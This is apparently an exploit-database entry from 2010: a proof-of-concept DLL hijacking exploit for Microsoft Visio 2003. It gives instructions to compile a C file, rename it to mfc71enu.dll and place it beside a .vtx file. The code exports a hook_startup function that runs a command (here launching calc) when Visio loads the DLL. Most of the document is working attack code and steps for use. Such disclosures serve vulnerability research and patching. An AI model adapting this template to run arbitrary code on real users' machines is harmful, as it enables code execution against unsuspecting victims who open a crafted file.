Microsoft Visio 2003 DLL Hijacking

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# Title : Microsoft Visio 2003 DLL Hijacking
# Published : 2010-08-25
# Author : Beenu Arora
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/* 
Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora
Exploit Title: Microsoft Visio 2003 DLL Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .vtx

Compile and rename to mfc71enu.dll, create a file in the same dir with one of the following extensions:
.vtx
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: http://www.exploit-db.com/sploits/14744.zip